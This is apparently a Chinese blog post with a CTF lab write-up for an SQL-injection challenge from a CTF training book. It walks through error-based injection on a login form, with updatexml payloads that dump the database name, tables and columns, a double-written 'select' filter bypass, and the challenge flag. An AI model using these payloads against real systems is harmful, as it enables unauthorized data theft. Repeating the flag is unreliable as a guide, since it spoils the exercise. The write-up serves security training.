《从0到1:CTFer成长之路》题目-SQL注入-2

《从0到1:CTFer成长之路》题目

SQL注入-2:

题目类型:web

题目描述:打开靶机,出现下面这种界面:

我们访问login.php:

我们再访问一下user.php:

解题方法:这里我们知道login.php是一个后台管理系统的登陆界面,user.php显示的是一句话,看了一下user.php的源码并没有发现什么有用的信息,根据题目意思是SQL注入,所以这里我们关注一下login.php

这里我们输入万能密码来测试一下:

再试了一下其他的条件,发现就只有两种报错,没有什么可以注入的显示位,然后我们查看一下它的源码:

很惊奇的发现在源码中我们得到一段很有用的信息:

然后使用burp发包,在url后面加入?tips = 1 开启mysql的错误提示

这么我们在name后面输入1‘ 得到了报错信息,但是只有报错信息,没有什么有用的回显信息,所以这里我们使用报错注入的方式:

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

我们构造payload来测试一下报错注入是否可行:

1'and updatexml(1,concat(0x7e,(select 1),0x7e),1)--+

成功,说明这里报错注入可行,然后现在就可以爆出它的数据库来:

报数据库名:

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

得到数据库名

爆数据库里面的表名:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

报错,没有得到想要的信息,但是我们这里的SQL语句没有问题,说明其中有关键字被过滤了,我们猜测是select,我们用大小写或者双写来试着给他绕过一下

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

成功,说明select被过滤了,我们用双写来进行绕过

得到了它的两个表名:fl4g和users ,这里很明显的发现我们的flag的信息在fl4g表中

爆出fl4g表中的字段名:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)--+

得到它的字段名为flag

最后一步爆出flag的内容:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(flag) from fl4g),0x7e),1)--+

得到flag:

n1book{login_sqli_is_nice}

posted @   张伟文  阅读(68)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示